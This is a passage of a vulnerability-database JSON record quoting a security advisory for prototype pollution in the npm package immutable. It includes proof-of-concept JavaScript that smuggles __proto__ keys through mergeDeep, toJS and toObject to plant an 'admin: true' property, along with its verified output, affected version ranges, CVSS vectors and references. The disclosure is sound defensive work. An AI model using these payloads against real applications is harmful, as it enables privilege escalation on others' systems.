Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","state":0,"publishedAt":"2026-03-04T21:28:06+00:00","modifiedAt":"2026-09-10T03:50:41.6001733+00:00","affected":[{"ecosystem":"npm","name":"immutable","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0-rc.1"},{"kind":"fixed","version":"4.3.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"immutable","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.1.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"immutable","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.8.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw","https://nvd.nist.gov/vuln/detail/CVE-2026-29063","https://github.com/immutable-js/immutable-js/issues/2178","https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945","https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9","https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb","https://github.com/immutable-js/immutable-js","https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3","https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8","https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"],"sourceUrl":"https://github.com/advisories/GHSA-wf6x-7x77-mvgw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wf6x-7x77-mvgw","identifiers":["GHSA-wf6x-7x77-mvgw","CVE-2026-29063"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
